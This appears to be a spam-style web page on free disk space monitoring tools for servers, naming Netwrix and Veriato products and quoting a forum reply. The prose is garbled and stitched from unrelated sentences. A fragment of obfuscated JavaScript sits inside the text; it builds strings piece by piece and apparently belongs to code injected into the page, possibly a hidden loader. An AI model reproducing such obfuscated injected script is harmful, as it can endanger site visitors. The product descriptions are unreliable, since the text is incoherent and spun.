Disk Space Monitoring Tool

The Server OS MP contains many usefull monitors One of these monitors is the one which checks the available free space of the logical disks.. Server disk space is a critical resource that must be closely watched to prevent potential server down time and failures.

j";yOA["Uxu"]="OxM";yOA["wOA"]="tex";yOA["MCM"]="own";yOA["FNq"]="; Free disk space monitoring tool from Netwrix sends low disk space alerts and daily reports about all servers running below certain disk space thresholds.. Like I am trying to monitor remote server disk free space How many times have you received unexpected errors or lost data and down time just because the free space slowly went below an acceptable level? Netwrix Disk Space Monitor is a free tool for IT professionals to keep track of server disk space on domain controllers, file servers, Share.. Point servers, Exchange servers, database servers, and others The product centrally monitors the free disk space of specified servers and sends daily reports and alerts about low disk space conditions based on configured thresholds.. Can be configured and put into use easily Available at absolutely no cost @Mark67 – if you are savvy with authoring MP's, you could 'forklift' the logical disk free space monitor and put into your own custom MP – twice.. Free software Veriato's free solution makes management of disk space easier than ever.
